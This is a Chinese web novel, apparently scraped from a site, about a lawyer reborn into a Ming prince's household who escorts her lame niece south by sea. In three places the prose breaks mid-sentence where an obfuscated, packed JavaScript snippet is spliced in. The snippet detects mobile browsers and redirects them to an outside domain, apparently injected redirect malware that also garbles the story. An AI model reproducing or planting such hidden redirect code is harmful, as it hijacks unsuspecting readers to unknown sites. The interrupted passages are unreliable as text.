《穿越古代，靠卖冰块富甲一方》 1. 序幕 辽东盖州卫，自官道下行二十里路，遥见山林中三尺宽的溪流，水面清澈透亮，如同琉璃浮于石床之上，蜿蜒曲折，绕山半周后，径直流进山林低洼处，汇成一面湖，名为“洛泽”。 这山、这湖都是康显郡王府的私有，方圆几百里唯一的朱姓人家。 因地位尊崇，加之康显郡王第二任正妻，为辽东进贡野山参的富商之女江氏，府中人平日总是肥马轻裘、锦衣玉食。 郡王岁支禄米数额两千石，良田一百万亩，住宅、商铺更是多不可数；府中上下一百来人，吃穿用度、月俸、往来礼金等，纷繁复杂，全靠康显郡王妃江氏的一支笔杆子，一笔一画、有条不紊记录于帐簿之上。 江氏深居简出，与王爷相敬如宾，并不恩爱。外界多有传言，认为江氏貌丑但贤德，持家有方，颂称江氏为江嫫母。 但她本人并不乐意得此“美名”，相貌美丑倒是次之，历史上的嫫母是次妃，拿江氏比次妃，难道要把那个无名无分的侍妾比作正妃？ 若是听见下人如此议论，江氏必然要严厉喝止，甚至罚那人一个月的月俸。 江氏管理家中事务时，身边总伴着一位年轻女子，眸子如清澈的溪水，行为举止却老成持重。 这女子名为江清月，自七岁时父母双亡，来了这康显郡王府投靠家姐，如今已经十一七，熟读诗书经纶，善算数，江氏有意将其带在身边，“阿妹，多瞧瞧，将来你若是嫁了人，便也会像我这般，操持一大家子事情，那时不至于手忙脚乱。” “阿姊，你这不是揶揄我么？我将来若是嫁个伐木的、泅水的，天天砍柴、渡船，可就没这些烦心事。” 江氏掂了掂笔，说：“只要人好，管他是伐木的还是泅水的，说不定比嫁进郡王府好。” 江清月连忙捂住江氏的嘴，左右看了看四周的丫鬟。 “阿姊，说者无意，听者有心。” 江氏抬了抬眼皮，俨然摆出一副认真模样，“两姊妹间的玩笑话罢了，难道被谁偷听了去，还能厚脸皮，去参我一本不成？” 房间里的几名丫鬟低着头交换眼神，似乎谁都不想承担这个罪名，默默退到了门外。 未见其人，却听见一阵银铃响，穿着红绸缎、头系红花的新妇推门走了进来，手里端着一壶茶，脸上还挂着明媚的笑，“娘，请吃茶。” 江氏先是愣了一下，眼光上下流连几番才记起，忙接过茶盅，摆手让新妇坐下。 “瞧我这记性，昨日吃了酒，今早一起来，全然忘记了这事。” 李钦语弯眉含笑，身体前倾，一双白皙丰腴的手很娇羞地交叠搭在腿上，手腕上的银铃串叮叮作响，叫人挪不开视线。 “这是我们家乡那边的规矩，娘或许不知道。” “听闻你的家乡，在湖淮一带？” “在广州府出生，应天府长大，后随迁都一路北上，来了辽东便是辽东人。” “都说‘湖淮熟天下富’，瞧你身上的布料，想必是江南产的绸缎吧？” 李钦语闻言，立即站起身来给江氏瞧，“娘若喜欢，我给娘定几匹上好的龟背纹丝绸，据说京都那边可流行这种花色了。” 江氏摆了摆手，“我年纪大了，大门不出二门不迈，哪还用得着这些？你若真有心，给家里弟弟妹妹——还有你月姨母准备几套，她们穿得漂亮才是正经事。” “是的，是的，要给姨母准备着。” 江青月脸一红。 虽然和这新妇差不多年纪，但由于江氏的辈分，李钦语只得跟着大郎一起称江清月为姨母，她着实有些羞赧，连忙说道：“我、我也不要这些东西。” 江氏看了看江清月，又看了看李钦雨，心里似乎有个疙瘩，叹了口气，借着要继续打点家中大小事务的名义，请回了这位新妇。 待人走后，两姊妹又议论起来。 “原本以为是娇生惯养的深闺小姐，没想到还挺会处事。” “阿姊，可我还是觉得有些奇怪。” “哪里奇怪？” “李钦语再怎么说也是李家的人，如果用我前世那边的俗话来讲，就是‘儿子娶了老子小情人的亲戚’，怪怪的。” 江清月是穿越来的，或说重生，她自己也拿不清楚这两者的区别，更不知道自己前世是昏迷了，还是已经去世了。 那时正值江家吊唁，江清月带着现代的记忆来到这具身体，睁眼，只见一大帮远房亲戚急赤白脸，盘算着争夺江家的遗产。 若只是七岁孩童，自然无力应对眼前局面，但好在江清月前世是律师，原本就能说会道，直率刚断，亦无古时这般羞赧和弯弯绕绕，当着一众亲戚就敢大拍桌子，呵斥阻难，最后硬生生撑到江氏回来主持公道，才没让这群人得逞。 也在那时，江清月同江氏很诚实地讲述了自己的由来。 江氏从遥远的记忆中回过神，忽然正经起来，“这事儿只能你知、我知，断不能给旁的什么人听见。” “放心，我谨慎的很，是瞧这房间里没人才说的。” “不过你这话说得可真逗，‘儿子娶了老子小情人的亲戚’，想想确是这样。” “原本郡王爷事事顺着那侍妾，也一并看重三姑娘淇姐儿，现在连大郎的新妇也是李家人，康显郡王府可是要水深火热了。” 江氏嘴上说得极其严重，实则不以为意，依旧摆弄着她的账簿。 “阿姊，你真不觉得李善俪这步棋，走得太刻意了些么？” “她刚进府时就一心打量郡王妃的位置，可这多年过去，她不还是没得逞么？况且，你长大了，潼姐儿也及笈，将来你们都会离开郡王府，只我一人在这，给口饭吃就能活，其他也没有什么好操心的。” “那我不嫁人了，也留在这郡王府，你吃什么我便吃什么。” “女子总归是要嫁人的。”江氏伸出食指，刮了一下江清月的鼻梁，“难道你想留在这里当老姑娘？你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047609|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不嫌丢人，我还嫌丢人呢。” “谁说不嫁人就丢人了，况且我才一十七，还年轻着呢。” “大郎的媳妇——李钦语今年也才一十七，算上月份，比你年纪还稍小些呢。” 江清月把手中纸笔一放，假装怄气要离开，走到门口时，见路的尽头，四姑娘正朝这边走来。 门外青草长了一茬又一茬，蝉鸣声依稀，只能听个朦胧的响。 这里的夏季不算热，仿佛严寒只是躲在石缝里，从未真的离去，没有日光的地方总残留着湿冷气息。 朱潼揉着膝盖，撑着木棍一瘸一拐，慢悠悠走过浅浅的草皮，在众人搀扶下进了房间，还没站稳就找椅子坐下。 大郎朱溯、二郎朱泓都是前一任郡王妃所出，三姑娘朱淇则是康显郡王爷在兖州同李善俪生下的女儿。 虽这几个孩子如今都在江氏名下，但大郎二郎心系他们死去的母亲，淇姐儿自然同自己的生母李善俪更亲近。 真正被江氏一手带大的，只有四姑娘朱潼。偏偏潼姐儿身体又最不利索，自小体弱，五岁那年因下人不慎，落进冰湖中患了腿疾，每逢湿冷季节，腿便僵直不可弯曲，酸痛乏力，甚至疼痛不已，府中遍访各位名医，均无功无过。 江氏忽然想起晨来拜访小媳妇，心生一个念头，不知当讲不当讲时，已然默默念了出来：“若是去到温暖的地方，潼姐儿的腿疾可有缓解？” 江清月立刻反应了过来，“你是说，让四姑娘到南边儿去？” “听说南边风和日丽，碧空如洗，青年人傍河对唱，好不热闹！若真同大郎媳妇所说，南下对潼姐儿未必不是件好事。” 朱潼俯身揉了揉膝盖，眼里亦透出一丝亮光，可嘴上仍说：“我连这王府都走不出，哪儿有可能南下呀。” 江清月看着踌躇的两人，接话道：“潼姐儿有木车，走水路下广州，应该没大问题。” 江氏唤来丫鬟，忙打听康显郡王爷的去处，恨不得下午就出发，带潼姐儿去暖和的地方休养。 “郡王爷一早乘马车去槐花酒楼看戏去了，不知多久能回。” 江氏脸色沉了一下，虽然夫妻二人向来是各过各的，互不过问，但大郎昨日成亲，家中剩一大堆烂摊子要收拾，他竟带着侍妾潇洒快活去了。 朱潼有些嗔怒，弯弯的眉毛扭作一团，拍腿说道：“又是李善俪这个花狐狸，骗的爹爹团团转。” 江氏皱眉，江清月见她脸色不对，急忙转移话题，说道： “阿姊，既然康显郡王爷不过问家事，那又何须他做主？就算不靠郡王府，只雇一辆船南下，又何来难处呢？” 江氏虽处理家事得心应手，但在大事的决择上总显得优柔寡断，她想了又想，说：“这一趟山高路远，没个一年半载都回不来，还是得郡王爷做主才行。” 几人正愁眉苦脸间，江氏的贴身丫鬟黛钗急匆匆进来报信。 “夫人，郡王爷回来了。” 2. 商议 康显郡王府内有间专门用于话事的内厅，为林氏（亦即是大郎、二郎生母）亲自监工修建、装潢，并提名为“家事阁”，如其名，用于家庭成员内部商议大事用，更常用于家族之间维系感情。 但自林氏去世后，家中并无多少事可议，渐渐地便荒废了，即使丫鬟每日都会前来清扫，仍然避免不了“家事阁”的冷清气息。 江氏、江清月和朱潼作为“求人办事者”，一早就在厅内坐定。 二郎朱泓从学堂赶来，手里还卷着本《淮南子》。 三丫头朱淇和李善俪手挽手随后而来，江氏见侍妾大摇大摆进了“家事厅”，面不怒而心怒。 大郎朱溯和新妇李钦语姗姗来迟，伴着笑声而来的还有那串银铃响声，二人如胶似漆，似乎刚度过一段甜蜜事，坐在厅内还不忘眉目传情。 最后到的是康显郡王，来之前他在门口踌躇了许久。曾经他与林氏可谓是伉俪情深，一家人曾在这“家事厅”度过了不少美好的时光。但自林氏去世后，每每经过这里时，都不免神伤。 “郡王爷。” 众人纷纷起身，以示尊敬。 康显郡王爷刚一进门，就咳嗽个不停，不耐烦地吩咐下人开窗通风，可刚打开窗户，初夏的还带着些冷气的风灌了进来，久了，吹的人受不住，只好挥手又让人把窗关上。 江氏斜睨了一眼，黛钗即懂了夫人的意思，从袖口中取出一本帐簿，其中最赫然的莫过这张红票，恭敬奉给郡王。 康显郡王草草翻了几下，“家中事你做主就好，我无须过问。” “大郎媳妇刚进门，我心想着把家中各项旧账都算算清楚，将来钦语接手时，不会因为无从考证而犯难……” 康显郡王抬眼看着江氏，江氏本无他意，王爷却会错了意。 他以为江氏在怨自己给大郎娶了李家的姑娘，在借机试探是否要把当家的权力转给李氏，于是连忙把账簿丢在桌上，令黛钗来取走，“大郎媳妇还年轻着，担不起这个大任。” 李钦语见爹爹都这样发话了，也忙下场表明态度，“是的，是的，要跟在娘身边磨砺，替娘分忧，但万般不敢有别的想法。” 由此，气氛变得有些拘谨起来，江氏对这一唱一和的局面不作回应，只继续着自己的话。 “全部整理过一遍，我这才知道，咱家在广州府那边还有套小宅，又想着潼姐儿的腿疾因寒气入体所致，我心想，若是能到个气候宜人的地方住段时间，对她或许能有好处。” 郡王爷摸了摸胡须，面向李钦语：“广州府……那边的气候，果真比盖州卫好？” 有了方才的警示，李钦语既不敢得罪郡王爷，亦不敢得罪当家主母，一时间拿不定主意，局促扭捏，不知道如何回答。 李善俪见李钦语如此不堪用，便替她挡了这话茬，说：“若是喜凉的人，去了那边儿自然不合适，但四丫头的病喜热，那边气候宜人，温暖舒适，若能住上一段时日，是再好不过的了。” 康显郡王爷回头看向一旁的李善俪，若有所思点了点头。 江氏从黛钗手里接过帐簿，说道：“可潼姐儿年龄尚小，又从未出过远门，我不放心她独身前去。” “没说让她独身前去，多带些侍卫、丫鬟，或者，把洪嬷嬷带上，她有分寸。” “仅带些下人，如何能放心？潼姐儿是我的孩子，我也一同去。” 康显郡王的面容瞬间转怒，皱眉拍桌子道：“四丫头是你的孩子，这大郎、二郎和三姑娘就不是了么？这郡王府又不是没人了，你要自己去。” 他的话语中几分是对江氏的抱怨，更多的则是担忧。 一则江氏自身背着郡王府的财源命脉，得是她这么多年的操持才能维持郡王府几近奢靡的生活。 二则怕落得名声不好。按照当今律令，郡王爷有嫡子，正妻康健，本不能再纳妾，但心系李善俪带着六岁的独女在兖州艰难度日，加之李家人的威逼利诱，康显郡王只能偷偷将这对母女接了回来，以侍妾（实则无名无分）待在郡王府内。 府中凭空出现二人，早引得外界猜疑数年，若郡王妃如今带着朱淇远走他乡，不管原由为何，必然以为康显郡王重色忘义、荒淫无度，为侧室逼走了“江嫫母”。 在府中，他如何骄纵侍妾都无所谓，但一旦出去便不得不顾忌，康显郡王愈想愈挂不住脸，连忙摆手否决，说：“洪嬷嬷可是你从江家带来的体己人，她你都信不过吗？” “洪嬷嬷年岁已大，手脚无力，潼姐儿不谙世事，不能自理，一众老弱幼小，手里捏着几张红票白票，官人难道就能睡得安稳么？” 康显郡王叹了口气，摆手间注意到厅内的其他人。 “府上这么多人，挑一个你堪用的。”他指了指对面端坐的朱溯，“让大郎带四姑娘去，堂堂男子汉，连远门都没出过，像什么话？是该走动走动了。” 朱溯和李钦语面面相觑，两人似乎极其不情愿，又不敢发作。 江氏斜睨了一眼，淡淡地说：“大郎刚成亲，抛下新婚妻子下江南，传出去叫人笑话。” “那就泓哥儿去，读万卷书不如行万里路。” 朱泓刚要应答，被江氏抢先一步回道：“二郎可是这郡王府内唯一有机会走仕途的人，翻过年就要进京赶考，南下耗时耗心力，更不妥。” 这话不仅暗指朱溯，实则也在内涵郡王爷，他有些不耐烦，看着面前退缩的朱淇，气不打一处来，本没想推她出去的，也顶着怨气说了几句，“三丫头去，姊妹之间互相照料，天经地义。” 朱淇沉不住气，连连摇头，撒娇地说：“我不要去，爹爹，这一趟不知多久才能回，说不定病没治好，把女儿给熬成黄脸婆，这还怎么嫁人呀……四妹妹，你这腿疾也不是一天两天的事了，去了广州府也不见得好，不如就留在府上安心修养，让爹爹给你指个不嫌弃你身子的好人家。” 李善俪拉了下朱淇的袖子，示意她不要再说下去。 江清月同朱潼一同长大，情谊深厚，自然无法容忍旁人如此折损自家人，呛话说道：“治病是为了自己，不是为了嫁人，淇姐儿这话莫要传出去，让人以为康显郡王府是卖女儿的腌臢地。” 一时间众人语塞，康显郡王的脸色更是尤其难看。 但还没等其他人发作，江氏起身扇了江清月一巴掌，场面瞬间冷了下来。 江氏的手指微微颤抖，语气却十分坚定，对着江清月说道：“事关官家的名声，岂容你在这污言秽语。” 江青月看着一向温柔的阿姊，她的嘴唇微微颤抖，只好低下头去，把脸默默撇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047610|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向一边。 康显郡王本是这场对话中最该动怒之人，但既然江氏已经代他教训，心中的怨气便瞬间消散了大半，反而作出一副大度模样，充当起和事佬。 “好了，这次会面，本就是家族会议，大家关起门来，自个讨论的，便也不需要太拘泥于那些规矩。郡王妃提出四丫头的事，我确也觉得有必要，到时候我再留意留意有无合适之人，今天就先散了吧。” 朱溯和朱淇早就如坐针毡，听见“散了”的讯号，立马紧跟着郡王爷离开了“家事阁”。朱溯走之前还不忘伸手去拉李钦语，但被对方委婉拒绝，当下就跑去找自己的娘家人李善俪商量去了。 李善俪将李钦语带回她的房间内，两人盘算起这件事来： 若江氏同四姑娘下广州府，这郡王府后院的大小事，纵使郡王爷不情愿，也得交到李钦语手上。但新妇哪懂得持家，就不得不“请教”李善俪，如此一来，她便能名正言顺管理起这间郡王府了。 可惜短时间内并未如她们所愿，当晚，江清月便找到江氏，向她说明了自己的主意。 江氏将江清月拉到内屋坐着，她虽不言语，但眼神却紧紧盯着对方的脸颊，似乎在寻找着那一巴掌可能存下的印记。 江清月握住江氏的手，拉到她的膝上放着，说道：“阿姊，别看了，你只是轻轻拂了一下，哪儿会有什么痕迹。” “咱们郡王爷是位自尊心极强的主，容不得一点儿僭越的话，清月，你别怪阿姊无情。” 江清月自然知道江氏的用意，轻轻摇了摇头，嘴上回忆道：“阿姊，你听我说——前世于我而言已过去十年，时常觉得那只是一场梦，自己只是一十七的少年人，所以做出许多幼稚举动。但算算日子，我度过的年岁，其实和阿姊的年龄差不多大了。” “心里的年龄都是假的，只有身体的皱纹和瘢痕是真切的。” “我时常觉得淇姐儿被李善俪惯坏了，让她变得如此骄纵，但下午我想了许久，惊觉自己其实也活在阿姊的荫蔽下，过了十年安稳日子，不知不觉亦变得怠慢。” “不是你怠慢，只是太重情义，用错了方式。” “幸运在于，李善俪不分是非、替淇姐儿处理那些烂摊子的时候，您却是在不断修正我将走错的方向。” 江氏苦笑，身体微微后倾，说：“怎么突然讲得文邹邹的？我倒有些不习惯了。” 江清月握了握对方的手，一字一句地说：“阿姊，让我伴潼姐儿南下吧。” “可……” “我既是这几个孩子的长辈，又习得御事之术，虽脾气硬了些，但出门在外未必不是件好事……更重要的是，这家里除了您，只有我会一心一意对待她，我同她一起去，是再合适不过的了。” “清月，我在这世上，只有你和淇姐儿了，万一有个什么三长两短……” “呸呸呸，您不是说，不能讲不吉利的话么？” 江氏拉着江清月的手，冰凉的手指不断摩挲着江清月的手背，她有些哽咽，话涌到嘴边，却又化成一声叹息。 江清月微微笑，眼神坚定，笃定这趟南下不过是人生中一场简单的旅行，就如同相信明天太阳会照常升起一般，全然不知命运的反复无常。 “阿姊，我一定会带淇姐儿健康回来的。” 3. 临行 临行前，江氏亲力亲为，小到行李清点，大到关系打点，一桩桩、一件件事情全有她做主，一刻都闲不下来。 府中人眼见郡王妃如此，便也不敢懈怠，忙跟在江氏身后，或是帮忙跑个腿，或是干点力气活，郡王府上上下下都忙碌了起来。 连一向不怎么掺和家事的郡王爷，已经好几天没去看戏，虽然依旧不干实事，但总会神出鬼没，时不时就在众人面前露个脸。 旁人都称赞郡王爷勤劳，江氏却客气待之，并不领情。 这一切恩怨还要回到当年江家出事时，也就是江清月刚穿越来这个时代的那年。 江家父母不明原因暴毙双亡于商路途中，除了年幼懵懂的七岁孤女外，再无其他长辈可做主，江氏悲痛之余请求康显郡王随同她一齐回到江府，却被他一句撇脚的借口搪塞了回来。 最终江氏孤身一人回去面对一众恶亲戚，康显郡王竟趁这离家的间隙，去兖州见了李善俪母女。 郡王府恰逢两位主事者都有事，流言四起，下人们懒散懈怠。 照顾潼姐儿的嬷嬷临夜喝了酒，昏睡了过去，没料到五岁小孩竟自己跑出了门，掉进冰湖，酿成悲剧。 如今郡王爷这番刷存在感，便是有意洗脱自己当年对四姑娘的亏欠，同时，也想在外人眼前展现出他“慈父”的形象。 深知丈夫为人的江氏如何能感动？只不过逢场作戏，彼此保留体面，陪他演下去罢了。 青石板路前乌泱泱站着一大群人，除了李善俪不便露脸，朱家人久违地齐站于府门前送行，声势浩大，生怕谁人不知康显郡王的嫡女正要南下治病。 朱淇站在队伍的最前面，她将扇子拢在面前，低头娇羞状，似乎今日心思全然不在送行，而是要来给人瞧，却又不让人瞧似的。 江清月路过她时，在心里结结实实翻了个白眼。 “今个是芒种，仔细算来，想必小暑才至广州府，将是一年当中最热的那段日子。” 江氏亲自打点着海航的物资，特意挑了两个干活利落的伙计、三个随行的丫鬟，还有一位稍年长一些、撑得住场面的兰姑，一应塞进她们行走的队伍中去。 她依依不舍，一手拉住江清月，一手挽着朱潼，眼神在目送她们，手却紧紧握着，泄不了劲，“每靠岸一个地儿，记得给家里来封信，报平安。” “阿姊，我这一走，府中都没人帮你算账了，你可别太累，多保重身体，许多不要紧的事情交给下人就是了，别总揽给自己。” 江氏苦笑了下，转过头叮嘱起朱潼。 “潼姐儿，要听你姨母的话，安心养病。” “放心吧，母亲，我已经是个大姑娘了。” “是的，是的，你们都是大姑娘了。” 在宅门口缠缠绵绵半个时辰，头辆马车甚至没走出街道，最后是行船的人前来催促，这一行人才真正上路。 其他人都回了府，只派了个朱泓作代表，一路将她们送至码头。 朱泓坐在车厢的左侧，江清月同朱潼坐在右侧，他们面对面而坐，头却默契地偏向前方，看着并不明朗的道路。只是偶尔简单寒暄几句，连眼神都不曾对上。 几人虽在同一屋檐下长大，但并不熟悉，即使同一桌用膳，彼此也鲜有话可讲。 江清月同朱泓的关系则更为微妙，康显郡王总在他们面前提起他那“肥水不流外人田”的观念，曾把撮合江清月和大郎的话当玩笑话讲。 可大郎同他父亲一样，偏爱妖娆妩媚的女子，心早被李钦语勾走，这桩事自然不了了之。 但康显郡王并不灰心，又打起二郎的主意，江氏这才知道他竟然是真心有意之，遂在她严厉反对下，郡王爷才彻底打消替两个儿子盘算的想法。 这事虽没抬上台面来讲，但作为当事人的江清月和朱泓多少知道一些，虽没放在心上，却也得避嫌。 一直到今日，江清月要出远门，二人才终于有机会多说几句话。 “翻过这山头，便要到岸边了。姨母，四妹妹，此行路远，请务必注意身体。” 江清月低着头，嘴里轻轻说：“泓哥儿，此次分别一年半载，若是中榜，也记挂着我们远在广州府，来封信告知。” 朱泓侧过头注视江清月，浅浅笑着，顿时又觉得不合适，连忙咳嗽几声掩盖了过去。 江清月自然感觉到他异样的眼光，但只装作不知，定定看着外面的景色。 “清月。”朱泓从袖口拿出一只浆洗过的荷包，小心翼翼递给江清月，“这是我在崇山寺祈来的，说是能护佑佩戴者安康，愿你们能早日归来。” 朱潼咳嗽了一声，那两人立即错开视线，耳根子红红的。 “二哥哥好偏心，只给姨母，不给妹妹么？” 朱泓连忙从袖口里掏出另一个，塞进朱潼手中，“有的，有的，我特意讨了两个。” 江清月接过那只依稀还带有皂香的荷包，心中似乎也有着别样的感情，却不好意思表露出来。她跳下马车，忙着招呼其他下人，不再搭理朱泓。 将所有行李都搬上船舱后，江清月站在船舷边，遥遥看向岸边的朱泓。 他一脸忧思地看向她们，等发觉她的目光也投向自己时，便勉强地挤出一丝笑意。 这位文质彬彬的书生既不像他那风流的父亲，也不像热情妩媚的生母，虽善读百书，通识大道理，却对男女之事尤其迟钝。 他一直默默欣赏江清月身上那种坚韧又反叛的神态，却碍于世俗条条框框而不善于表达，直到真正分别的这一刻，朱泓才意识到自己似乎对江清月有些别样的感情。 但他仍是不说，只能把浆洗过不知几遍的荷包以祈福的名义交给她，站在岸边看船驶去，身影一直模糊、渐小，直到再也看不见，才依依不舍地打道回府。 江清月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047611|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是经历过自由恋爱的人，她当然知道朱泓压抑着的面容下的真意，但她经历过太多算计与无奈，在压抑中过活，不愿后半生陷进朱府的泥潭。 可当江清月站在船头，隔着深沉的海面眺望岸边时，她忽然觉得这一切又是那么渺小和微不足道，只有瞬间的感情是那么的真实。 “姨母，看什么呢？二哥哥都走远了。” 朱潼撑着木拐杖，倚靠在桅杆旁，看向江清月视线投去的地方。 江清月低头，回身走进船内，一边走还一边嘀咕道：“你个黄毛丫头，乱说什么呢。” “姨母莫要生气，我同你玩笑罢了，娘亲说爹爹是乱指鸳鸯谱，我全然明白这其中的道理，怎么会当真呢。”朱潼笑脸盈盈，跌跌撞撞跟在姨母身后，“不过，我倒是好奇，像我二哥哥这样的才子，若是中榜，想必辽东的媒人能踏破咱家的门槛，真不知道是哪家姑娘会进咱家的门。” 江清月想起郡王爷曾说的那些糊涂话，心里又羞又恼，清了清嗓子，赌气般说道：“泓哥儿若去了京城，十步一个县主，百步一个郡主，康显郡王还怕没得选么。” 朱潼扶着墙壁慢慢坐下来，对着窗外叹息道：“我真羡慕这些姑娘，还能够仔细挑选中意的情郎，似乎未来还能有无限风光。我却……哎，不说了。” “这事我回去真得跟你娘好好说说，上次借着走亲戚实则来说媒的那家人，竟然想将你许给一个连字都不认识的傻汉子，还敢说什么般配？简直欺人太甚。” “娘对此不也是发了很大火气么，她也不舍得我受欺负。” “要我说，讲什么礼仪、客套？就该连人带物一起撵出去，让十里八街想要攀高枝的人家趁早死了这条心，方能杜绝这些不良媒人的出现。” “没办法，在外人眼里我就是个身体不好的瘸子，既不能持家，讲话还不伶俐，不像三姐姐八面玲珑，又精通琴棋书画，爹爹如此宠爱她，想必会为她挑选一家再好不过的夫家。” 江清月打心里并不喜欢李善俪母女，自然不会说什么好话。 “我见着不一定，朱淇那丫头虽记在康显郡王妃名下，但那些媒人可精着呢，心里门清的很，正派人家只要稍微一打听，便能知道她来历不明，不敢接进家门。她们娘俩也就仗着郡王爷怜爱，在府中逞几年威风罢了。” “是啊，爹爹对外说我和三姐姐是双生子，但她六岁才来府上，明眼人都知道是怎么个情况！” 朱潼眼睛一转，“姨母，你未来若是嫁人，能不能把我带走呀，我给你当贴身丫鬟去。” “我不嫁人，你也来当我贴身丫鬟，如何？” 朱潼俏皮地点了点头，依偎在江清月身旁，“好啊，月俸记得给我开高些。” 船缓缓驶于碧波之上，天色渐暗，岸已不可见。天空和海面的界限越来越模糊，几乎连成一片。偶有几只海船泊过，船上的几人开始犯了困。 4. 插曲 “前几天还好好的，怎么现在反倒不适应了？”江清月抚着朱潼的背，召来随行的丫鬟珠儿，“马上船就靠岸，你待会儿下去时，看看附近有没有集市，给潼姐买些酸果子上来。” 这几日吃了便吐，胃里已无食物，朱潼先是咳嗽几声，又对着木桶干呕，只能吐些黄色的苦水。她有气无力地坐在床沿边，眼睛似睁又闭，面色苍白。 “想必是在海上吃不好、睡不好，久了身体遭不住，晕船了。” 江清月将朱潼扶上床，用绸巾仔细擦过她的脸，朝窗外看去，“就快到登州了，不如先在当地休整几日，再行商议。” “姨母，我撑的住。”朱潼勉强撑起身来，“我担心上了岸后，心中念想着那些苦，生了畏惧之心，就不敢再乘船。” “可是……” 朱潼的脸有些水肿，只能勉强挤出一张似笑非笑的脸，说道：“若是受几日眩晕便能治好腿疾，我恨不得再快一点去到广州府。” “走不了水路，还有马路；今夏到不了，将来还有炎日；广州府不便去，其他地方也大差不差。何须如此着急，巴巴的赶着去受苦。” “姨母，你不晓得——” 她咳嗽两声后说道： “无数次午夜梦回，落水的场景历历在目，我多后悔那一日踏出了房门，落得个残疾。府中每次来人，爹爹总让我提前入席，早早的就坐，我知道他并非心疼我年幼，而是耻于让旁人看见我的窘态。爹爹还说，偏心三姐姐是为了她们母女在兖州受了六年苦，可我何尝不苦？他却一句带过。” 江清月不知如何安慰，只能拉住朱潼冰凉的手，劝说道：“你爹偏心，不是因为你不够好，而是他为人不好，既想明白这一点，又何须纠结？” “姨母，你没见过我小时候，我五岁前可谓是飞扬跋扈、骄纵刁蛮，常常搅得府中鸡犬不宁、人仰马翻，但奇怪的是，那时人人都爱我。”朱潼眨了眨眼睛，眼神却空洞，一滴泪沿着面庞滑落，她的声音有些哽咽，顿了顿说：“后来，我变得安静，懂得收敛，知道尊重长辈、善对他人，可他们却都明里暗里厌恶我的不便。” 江清月亦如鲠在喉。 “我知道爹娘想了许多办法治疗我这腿疾，在一次次失败后我也灰了心，直到坐上这艘南下的船，不知怎地，忽然又燃起了希望。姨母，这一次我真的觉得我的腿能好了！” 朱潼的眼眸亮闪闪，如同星光洒在海面上一般，却叫江清月不敢直视，遮掩似地瞥开了目光。 “一定会有办法。” 忽然，船身震荡一下，再朝外看去，一望无际的海面被车水马龙的景象取代，岸上的小贩的叫喊声、来往过路人的喧哗声不绝于耳。 久在船上不见黄土的江清月难掩激动，也想下去热闹一番。但又想到床榻上需要人照顾的朱潼，她轻手关上窗，假装并不在意外面的风景。 朱潼抬眼看着姨母，自然知道她的心思，于是开口催促道：“姨母，我没胃口，就想吃点果脯，丫鬟们不懂吃，你能去给我买点儿回来么？” 江清月眨了眨眼睛，欲言又止，说道：“我已经吩咐珠儿去买了。” “可是，珠儿不知道我们平日里喜欢的是哪种，果脯种类可太多了，要是她没买回来我爱吃的那种，我就又要饿一路了。” “不错，要那种买个头大的梅子蜜饯。”江清月心底知道朱潼的好意，再推辞只能寒了她的心，便顺着说了下去，“那我亲自去买，你在船上好好休息。” 朱潼莞尔一笑，点了点头。 江清月匆匆赶回厢房内，原想换身衣裳再出门，但一想到靠岸时间仅有半个时辰，对着铜镜梳理了一番，便急匆匆要下船。 刚要到甲板处，花芸早已在此等候多时，她从背后叫住江清月，叮嘱道：“月姑娘，我听说船家说，这一带近来有不安生的事，让花芸陪姑娘一同去吧。” 江清月回头看了看船舱内，说道：“珠儿已经下船了么？” “刚一到岸，珠儿便走了，兰姑和灵玲在船内伺候四姑娘。” 江清月又看了看岸上的景象，街上人头攒动、摩肩擦踵，一想到自己也是头一次出远门，于是便答应了带花芸同去。 下到街里，这里的民俗氛围和辽东那边并没有本质的区别，但在码头边的缘故，街上来往许多年轻人，行走在这样的气氛中，江青月也不自觉地注意起自身的形象，她暗自整理了下衣裳，问道：“花芸，我这一身还算得体么？” “月姑娘人长得俊俏，穿什么都漂亮。” 江清月瞧了花芸一眼，这才发现她穿着一身绸缎的淡粉色兰花纹衣裳，发髻高盘起，钗着当年江氏打赏给她的珊瑚石发簪。 花芸是府中的家生子，父亲是郡王府的吴管家，自幼跟小姐们一起长大，爱美惯了。 江清月不是那种古板严苛的主子，心里本不在意，只是上下瞧了一眼，花芸便接话道：“爹爹说我们此番出行，代的是康显郡王府的名头，让我处处留意着言行举止和相貌，月姑娘若觉得不妥，花芸马上换了去。” 说罢，她便自顾自要摘下那发簪。 “你爹爹说的对，既走出盖州卫，就得顾及康显郡王的名声。”江清月不想再耽搁时间，于是按下花芸的手臂，夸赞说道：“你肤白，戴这簪子好看。” 